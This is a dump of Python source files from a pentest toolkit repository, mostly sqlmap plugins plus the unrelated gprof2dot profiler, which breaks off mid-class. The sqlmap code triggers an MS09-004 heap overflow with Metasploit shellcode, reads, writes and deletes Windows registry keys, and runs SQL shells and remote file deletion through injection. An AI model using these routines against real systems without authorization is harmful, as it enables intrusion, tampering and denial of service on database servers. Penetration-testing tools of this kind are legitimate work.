%s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " choice = readInput(msg, default="N") dos = choice and choice[0].lower() == "y" if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def _regInit(self): if not isStackingAvailable() and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): self._regInit() if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: regKey = conf.regKey if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default regVal = readInput(msg, default=default) else: regVal = conf.regVal infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) def regAdd(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to write? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to write? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal if not conf.regData: msg = "which registry key value data do you want to write? " regData = readInput(msg) if not regData: raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default regType = readInput(msg, default=default) else: regType = conf.regType infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.addRegKey(regKey, regVal, regType, regData) def regDel(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to delete? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to delete? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal message = "are you sure that you want to delete the Windows " message += "registry path '%s\%s? [y/N] " % (regKey, regVal) output = readInput(message, default="N") if output and output[0] not in ("Y", "y"): return infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.delRegKey(regKey, regVal)
17,888
Python
.py
367
35.604905
131
0.590296
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,173
custom.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/custom.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import isStackingAvailable from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject class Custom: """ This class defines custom enumeration functionalities for plugins. """ def __init__(self): pass def sqlQuery(self, query): output = None sqlType = None query = query.rstrip(';') for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of custom SQL queries is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) return None else: if sqlType: debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: debugMsg = "executing unknown SQL type query: '%s'" % query logger.debug(debugMsg) inject.goStacked(query) debugMsg = "done" logger.debug(debugMsg) output = NULL return output def sqlShell(self): infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None try: query = raw_input("sql-shell> ") query = utf8decode(query) except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not query: continue if query.lower() in ("x", "q", "exit", "quit"): break output = self.sqlQuery(query) if output and output != "Quit": conf.dumper.query(query, output) elif not output: pass elif output != "Quit": dataToStdout("No output\n") def sqlFile(self): infoMsg = "executing SQL statements from given file(s)" logger.info(infoMsg) for sfile in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): sfile = sfile.strip() if not sfile: continue query = getSQLSnippet(Backend.getDbms(), sfile) infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile) logger.info(infoMsg) conf.dumper.query(query, self.sqlQuery(query))
3,805
Python
.py
96
29.020833
112
0.592713
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,174
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.session import setOs from lib.parse.banner import bannerParser from lib.request import inject from plugins.generic.custom import Custom from plugins.generic.databases import Databases from plugins.generic.entries import Entries from plugins.generic.search import Search from plugins.generic.users import Users class Enumeration(Custom, Databases, Entries, Search, Users): """ This class defines generic enumeration functionalities for plugins. """ def __init__(self): kb.data.has_information_schema = False kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None Custom.__init__(self) Databases.__init__(self) Entries.__init__(self) Search.__init__(self) Users.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner def getHostname(self): infoMsg = "fetching server hostname" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].hostname.query if not kb.data.hostname: kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.hostname
2,657
Python
.py
66
31.651515
98
0.642829
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,175
misc.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/misc.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import ntpath import re from lib.core.common import Backend from lib.core.common import hashDBWrite from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import posixToNtSlashes from lib.core.common import readInput from lib.core.common import singleTimeDebugMessage from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject class Miscellaneous: """ This class defines miscellaneous functionalities for plugins. """ def __init__(self): pass def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): debugMsg = "identifying Microsoft SQL Server error log directory " debugMsg += "that sqlmap will use to store temporary files with " debugMsg += "commands' output" logger.debug(debugMsg) _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) singleTimeDebugMessage("going to use %s as temporary files directory" % conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "") def delRemoteFile(self, filename): if not filename: return self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): filename = posixToNtSlashes(filename) cmd = "del /F /Q %s" % filename else: cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True) def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) else: inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if not isStackingAvailable() and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): return if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what message += "[1] as LIKE %s names (default)\n" % what message += "[2] as exact %s names" % what choice = readInput(message, default='1') if not choice or choice == '1': choice = '1' condParam = " LIKE '%%%s%%'" elif choice == '2': condParam = "='%s'" else: errMsg = "invalid value" raise SqlmapNoneDataException(errMsg) return choice, condParam
7,156
Python
.py
158
34.683544
135
0.612615
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,176
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/gprof2dot/__init__.py
#!/usr/bin/env python # # Copyright 2008-2009 Jose Fonseca # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # pass
724
Python
.py
18
39.166667
74
0.78156
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,177
gprof2dot.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/gprof2dot/gprof2dot.py
#!/usr/bin/env python # # Copyright 2008-2009 Jose Fonseca # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """Generate a dot graph from the output of several profilers.""" __author__ = "Jose Fonseca" __version__ = "1.0" import sys import math import os.path import re import textwrap import optparse import xml.parsers.expat try: # Debugging helper module import debug except ImportError: pass def times(x): return u"%u\xd7" % (x,) def percentage(p): return "%.02f%%" % (p*100.0,) def add(a, b): return a + b def equal(a, b): if a == b: return a else: return None def fail(a, b): assert False tol = 2 ** -23 def ratio(numerator, denominator): try: ratio = float(numerator)/float(denominator) except ZeroDivisionError: # 0/0 is undefined, but 1.0 yields more useful results return 1.0 if ratio < 0.0: if ratio < -tol: sys.stderr.write('warning: negative ratio (%s/%s)\n' % (numerator, denominator)) return 0.0 if ratio > 1.0: if ratio > 1.0 + tol: sys.stderr.write('warning: ratio greater than one (%s/%s)\n' % (numerator, denominator)) return 1.0 return ratio class UndefinedEvent(Exception): """Raised when attempting to get an event which is undefined.""" def __init__(self, event): Exception.__init__(self) self.event = event def __str__(self): return 'unspecified event %s' % self.event.name class Event(object): """Describe a kind of event, and its basic operations.""" def __init__(self, name, null, aggregator, formatter = str): self.name = name self._null = null self._aggregator = aggregator self._formatter = formatter def __eq__(self, other): return self is other def __hash__(self): return id(self) def null(self): return self._null def aggregate(self, val1, val2): """Aggregate two event values.""" assert val1 is not None assert val2 is not None return self._aggregator(val1, val2) def format(self, val): """Format an event value.""" assert val is not None return self._formatter(val) CALLS = Event("Calls", 0, add, times) SAMPLES = Event("Samples", 0, add) SAMPLES2 = Event("Samples", 0, add) TIME = Event("Time", 0.0, add, lambda x: '(' + str(x) + ')') TIME_RATIO = Event("Time ratio", 0.0, add, lambda x: '(' + percentage(x) + ')') TOTAL_TIME = Event("Total time", 0.0, fail) TOTAL_TIME_RATIO = Event("Total time ratio", 0.0, fail, percentage) class Object(object): """Base class for all objects in profile which can store events.""" def __init__(self, events=None): if events is None: self.events = {} else: self.events = events def __hash__(self): return id(self) def __eq__(self, other): return self is other def __contains__(self, event): return event in self.events def __getitem__(self, event): try: return self.events[event] except KeyError: raise UndefinedEvent(event) def __setitem__(self, event, value): if value is None: if event in self.events: del self.events[event] else: self.events[event] = value class Call(Object): """A call between functions. There should be at most one call object for every pair of functions. """ def __init__(self, callee_id): Object.__init__(self) self.callee_id = callee_id self.ratio = None self.weight = None class Function(Object): """A function.""" def __init__(self, id, name): Object.__init__(self) self.id = id self.name = name self.module = None self.process = None self.calls = {} self.called = None self.weight = None self.cycle = None def add_call(self, call): if call.callee_id in self.calls: sys.stderr.write('warning: overwriting call from function %s to %s\n' % (str(self.id), str(call.callee_id))) self.calls[call.callee_id] = call # TODO: write utility functions def __repr__(self): return self.name class Cycle(Object): """A cycle made from recursive function calls.""" def __init__(self): Object.__init__(self) # XXX: Do cycles need an id? self.functions = set() def add_function(self, function): assert function not in self.functions self.functions.add(function) # XXX: Aggregate events? if function.cycle is not None: for other in function.cycle.functions: if function not in self.functions: self.add_function(other) function.cycle = self class Profile(Object): """The whole profile.""" def __init__(self): Object.__init__(self) self.functions = {} self.cycles = [] def add_function(self, function): if function.id in self.functions: sys.stderr.write('warning: overwriting function %s (id %s)\n' % (function.name, str(function.id))) self.functions[function.id] = function def add_cycle(self, cycle): self.cycles.append(cycle) def validate(self): """Validate the edges.""" for function in self.functions.itervalues(): for callee_id in function.calls.keys(): assert function.calls[callee_id].callee_id == callee_id if callee_id not in self.functions: sys.stderr.write('warning: call to undefined function %s from function %s\n' % (str(callee_id), function.name)) del function.calls[callee_id] def find_cycles(self): """Find cycles using Tarjan's strongly connected components algorithm.""" # Apply the Tarjan's algorithm successively until all functions are visited visited = set() for function in self.functions.itervalues(): if function not in visited: self._tarjan(function, 0, [], {}, {}, visited) cycles = [] for function in self.functions.itervalues(): if function.cycle is not None and function.cycle not in cycles: cycles.append(function.cycle) self.cycles = cycles if 0: for cycle in cycles: sys.stderr.write("Cycle:\n") for member in cycle.functions: sys.stderr.write("\tFunction %s\n" % member.name) def _tarjan(self, function, order, stack, orders, lowlinks, visited): """Tarjan's strongly connected components algorithm. See also: - http://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm """ visited.add(function) orders[function] = order lowlinks[function] = order order += 1 pos = len(stack) stack.append(function) for call in function.calls.itervalues(): callee = self.functions[call.callee_id] # TODO: use a set to optimize lookup if callee not in orders: order = self._tarjan(callee, order, stack, orders, lowlinks, visited) lowlinks[function] = min(lowlinks[function], lowlinks[callee]) elif callee in stack: lowlinks[function] = min(lowlinks[function], orders[callee]) if lowlinks[function] == orders[function]: # Strongly connected component found members = stack[pos:] del stack[pos:] if len(members) > 1: cycle = Cycle() for member in members: cycle.add_function(member) return order def call_ratios(self, event): # Aggregate for incoming calls cycle_totals = {} for cycle in self.cycles: cycle_totals[cycle] = 0.0 function_totals = {} for function in self.functions.itervalues(): function_totals[function] = 0.0 for function in self.functions.itervalues(): for call in function.calls.itervalues(): if call.callee_id != function.id: callee = self.functions[call.callee_id] function_totals[callee] += call[event] if callee.cycle is not None and callee.cycle is not function.cycle: cycle_totals[callee.cycle] += call[event] # Compute the ratios for function in self.functions.itervalues(): for call in function.calls.itervalues(): assert call.ratio is None if call.callee_id != function.id: callee = self.functions[call.callee_id] if callee.cycle is not None and callee.cycle is not function.cycle: total = cycle_totals[callee.cycle] else: total = function_totals[callee] call.ratio = ratio(call[event], total) def integrate(self, outevent, inevent): """Propagate function time ratio allong the function calls. Must be called after finding the cycles. See also: - http://citeseer.ist.psu.edu/graham82gprof.html """ # Sanity checking assert outevent not in self for function in self.functions.itervalues(): assert outevent not in function assert inevent in function for call in function.calls.itervalues(): assert outevent not in call if call.callee_id != function.id: assert call.ratio is not None # Aggregate the input for each cycle for cycle in self.cycles: total = inevent.null() for function in self.functions.itervalues(): total = inevent.aggregate(total, function[inevent]) self[inevent] = total # Integrate along the edges total = inevent.null() for function in self.functions.itervalues(): total = inevent.aggregate(total, function[inevent]) self._integrate_function(function, outevent, inevent) self[outevent] = total def _integrate_function(self, function, outevent, inevent): if function.cycle is not None: return self._integrate_cycle(function.cycle, outevent, inevent) else: if outevent not in function: total = function[inevent] for call in function.calls.itervalues(): if call.callee_id != function.id: total += self._integrate_call(call, outevent, inevent) function[outevent] = total return function[outevent] def _integrate_call(self, call, outevent, inevent): assert outevent not in call assert call.ratio is not None callee = self.functions[call.callee_id] subtotal = call.ratio *self._integrate_function(callee, outevent, inevent) call[outevent] = subtotal return subtotal def _integrate_cycle(self, cycle, outevent, inevent): if outevent not in cycle: # Compute the outevent for the whole cycle total = inevent.null() for member in cycle.functions: subtotal = member[inevent] for call in member.calls.itervalues(): callee = self.functions[call.callee_id] if callee.cycle is not cycle: subtotal += self._integrate_call(call, outevent, inevent) total += subtotal cycle[outevent] = total # Compute the time propagated to callers of this cycle callees = {} for function in self.functions.itervalues(): if function.cycle is not cycle: for call in function.calls.itervalues(): callee = self.functions[call.callee_id] if callee.cycle is cycle: try: callees[callee] += call.ratio except KeyError: callees[callee] = call.ratio for member in cycle.functions: member[outevent] = outevent.null() for callee, call_ratio in callees.iteritems(): ranks = {} call_ratios = {} partials = {} self._rank_cycle_function(cycle, callee, 0, ranks) self._call_ratios_cycle(cycle, callee, ranks, call_ratios, set()) partial = self._integrate_cycle_function(cycle, callee, call_ratio, partials, ranks, call_ratios, outevent, inevent) assert partial == max(partials.values()) assert not total or abs(1.0 - partial/(call_ratio*total)) <= 0.001 return cycle[outevent] def _rank_cycle_function(self, cycle, function, rank, ranks): if function not in ranks or ranks[function] > rank: ranks[function] = rank for call in function.calls.itervalues(): if call.callee_id != function.id: callee = self.functions[call.callee_id] if callee.cycle is cycle: self._rank_cycle_function(cycle, callee, rank + 1, ranks) def _call_ratios_cycle(self, cycle, function, ranks, call_ratios, visited): if function not in visited: visited.add(function) for call in function.calls.itervalues(): if call.callee_id != function.id: callee = self.functions[call.callee_id] if callee.cycle is cycle: if ranks[callee] > ranks[function]: call_ratios[callee] = call_ratios.get(callee, 0.0) + call.ratio self._call_ratios_cycle(cycle, callee, ranks, call_ratios, visited) def _integrate_cycle_function(self, cycle, function, partial_ratio, partials, ranks, call_ratios, outevent, inevent): if function not in partials: partial = partial_ratio*function[inevent] for call in function.calls.itervalues(): if call.callee_id != function.id: callee = self.functions[call.callee_id] if callee.cycle is not cycle: assert outevent in call partial += partial_ratio*call[outevent] else: if ranks[callee] > ranks[function]: callee_partial = self._integrate_cycle_function(cycle, callee, partial_ratio, partials, ranks, call_ratios, outevent, inevent) call_ratio = ratio(call.ratio, call_ratios[callee]) call_partial = call_ratio*callee_partial try: call[outevent] += call_partial except UndefinedEvent: call[outevent] = call_partial partial += call_partial partials[function] = partial try: function[outevent] += partial except UndefinedEvent: function[outevent] = partial return partials[function] def aggregate(self, event): """Aggregate an event for the whole profile.""" total = event.null() for function in self.functions.itervalues(): try: total = event.aggregate(total, function[event]) except UndefinedEvent: return self[event] = total def ratio(self, outevent, inevent): assert outevent not in self assert inevent in self for function in self.functions.itervalues(): assert outevent not in function assert inevent in function function[outevent] = ratio(function[inevent], self[inevent]) for call in function.calls.itervalues(): assert outevent not in call if inevent in call: call[outevent] = ratio(call[inevent], self[inevent]) self[outevent] = 1.0 def prune(self, node_thres, edge_thres): """Prune the profile""" # compute the prune ratios for function in self.functions.itervalues(): try: function.weight = function[TOTAL_TIME_RATIO] except UndefinedEvent: pass for call in function.calls.itervalues(): callee = self.functions[call.callee_id] if TOTAL_TIME_RATIO in call: # handle exact cases first call.weight = call[TOTAL_TIME_RATIO] else: try: # make a safe estimate call.weight = min(function[TOTAL_TIME_RATIO], callee[TOTAL_TIME_RATIO]) except UndefinedEvent: pass # prune the nodes for function_id in self.functions.keys(): function = self.functions[function_id] if function.weight is not None: if function.weight < node_thres: del self.functions[function_id] # prune the egdes for function in self.functions.itervalues(): for callee_id in function.calls.keys(): call = function.calls[callee_id] if callee_id not in self.functions or call.weight is not None and call.weight < edge_thres: del function.calls[callee_id] def dump(self): for function in self.functions.itervalues(): sys.stderr.write('Function %s:\n' % (function.name,)) self._dump_events(function.events) for call in function.calls.itervalues(): callee = self.functions[call.callee_id] sys.stderr.write(' Call %s:\n' % (callee.name,)) self._dump_events(call.events) for cycle in self.cycles: sys.stderr.write('Cycle:\n') self._dump_events(cycle.events) for function in cycle.functions: sys.stderr.write(' Function %s\n' % (function.name,)) def _dump_events(self, events): for event, value in events.iteritems(): sys.stderr.write(' %s: %s\n' % (event.name, event.format(value))) class Struct: """Masquerade a dictionary with a structure-like behavior.""" def __init__(self, attrs = None): if attrs is None: attrs = {} self.__dict__['_attrs'] = attrs def __getattr__(self, name): try: return self._attrs[name] except KeyError: raise AttributeError(name) def __setattr__(self, name, value): self._attrs[name] = value def __str__(self): return str(self._attrs) def __repr__(self): return repr(self._attrs) class ParseError(Exception): """Raised when parsing to signal mismatches.""" def __init__(self, msg, line): self.msg = msg # TODO: store more source line information self.line = line def __str__(self): return '%s: %r' % (self.msg, self.line) class Parser: """Parser interface.""" def __init__(self): pass def parse(self): raise NotImplementedError class LineParser(Parser): """Base class for parsers that read line-based formats.""" def __init__(self, file): Parser.__init__(self) self._file = file self.__line = None self.__eof = False def readline(self): line = self._file.readline() if not line: self.__line = '' self.__eof = True self.__line = line.rstrip('\r\n') def lookahead(self): assert self.__line is not None return self.__line def consume(self): assert self.__line is not None line = self.__line self.readline() return line def eof(self): assert self.__line is not None return self.__eof XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF = range(4) class XmlToken: def __init__(self, type, name_or_data, attrs = None, line = None, column = None): assert type in (XML_ELEMENT_START, XML_ELEMENT_END, XML_CHARACTER_DATA, XML_EOF) self.type = type self.name_or_data = name_or_data self.attrs = attrs self.line = line self.column = column def __str__(self): if self.type == XML_ELEMENT_START: return '<' + self.name_or_data + ' ...>' if self.type == XML_ELEMENT_END: return '</' + self.name_or_data + '>' if self.type == XML_CHARACTER_DATA: return self.name_or_data if self.type == XML_EOF: return 'end of file' assert 0 class XmlTokenizer: """Expat based XML tokenizer.""" def __init__(self, fp, skip_ws = True): self.fp = fp self.tokens = [] self.index = 0 self.final = False self.skip_ws = skip_ws self.character_pos = 0, 0 self.character_data = '' self.parser = xml.parsers.expat.ParserCreate() self.parser.StartElementHandler = self.handle_element_start self.parser.EndElementHandler = self.handle_element_end self.parser.CharacterDataHandler = self.handle_character_data def handle_element_start(self, name, attributes): self.finish_character_data() line, column = self.pos() token = XmlToken(XML_ELEMENT_START, name, attributes, line, column) self.tokens.append(token) def handle_element_end(self, name): self.finish_character_data() line, column = self.pos() token = XmlToken(XML_ELEMENT_END, name, None, line, column) self.tokens.append(token) def handle_character_data(self, data): if not self.character_data: self.character_pos = self.pos() self.character_data += data def finish_character_data(self): if self.character_data: if not self.skip_ws or not self.character_data.isspace(): line, column = self.character_pos token = XmlToken(XML_CHARACTER_DATA, self.character_data, None, line, column) self.tokens.append(token) self.character_data = '' def next(self): size = 16*1024 while self.index >= len(self.tokens) and not self.final: self.tokens = [] self.index = 0 data = self.fp.read(size) self.final = len(data) < size try: self.parser.Parse(data, self.final) except xml.parsers.expat.ExpatError, e: #if e.code == xml.parsers.expat.errors.XML_ERROR_NO_ELEMENTS: if e.code == 3: pass else: raise e if self.index >= len(self.tokens): line, column = self.pos() token = XmlToken(XML_EOF, None, None, line, column) else: token = self.tokens[self.index] self.index += 1 return token def pos(self): return self.parser.CurrentLineNumber, self.parser.CurrentColumnNumber class XmlTokenMismatch(Exception): def __init__(self, expected, found): self.expected = expected self.found = found def __str__(self): return '%u:%u: %s expected, %s found' % (self.found.line, self.found.column, str(self.expected), str(self.found)) class XmlParser(Parser): """Base XML document parser.""" def __init__(self, fp): Parser.__init__(self) self.tokenizer = XmlTokenizer(fp) self.consume() def consume(self): self.token = self.tokenizer.next() def match_element_start(self, name): return self.token.type == XML_ELEMENT_START and self.token.name_or_data == name def match_element_end(self, name): return self.token.type == XML_ELEMENT_END and self.token.name_or_data == name def element_start(self, name): while self.token.type == XML_CHARACTER_DATA: self.consume() if self.token.type != XML_ELEMENT_START: raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) if self.token.name_or_data != name: raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) attrs = self.token.attrs self.consume() return attrs def element_end(self, name): while self.token.type == XML_CHARACTER_DATA: self.consume() if self.token.type != XML_ELEMENT_END: raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) if self.token.name_or_data != name: raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) self.consume() def character_data(self, strip = True): data = '' while self.token.type == XML_CHARACTER_DATA: data += self.token.name_or_data self.consume() if strip: data = data.strip() return data class GprofParser(Parser): """Parser for GNU gprof output. See also: - Chapter "Interpreting gprof's Output" from the GNU gprof manual http://sourceware.org/binutils/docs-2.18/gprof/Call-Graph.html#Call-Graph - File "cg_print.c" from the GNU gprof source code http://sourceware.org/cgi-bin/cvsweb.cgi/~checkout~/src/gprof/cg_print.c?rev=1.12&cvsroot=src """ def __init__(self, fp): Parser.__init__(self) 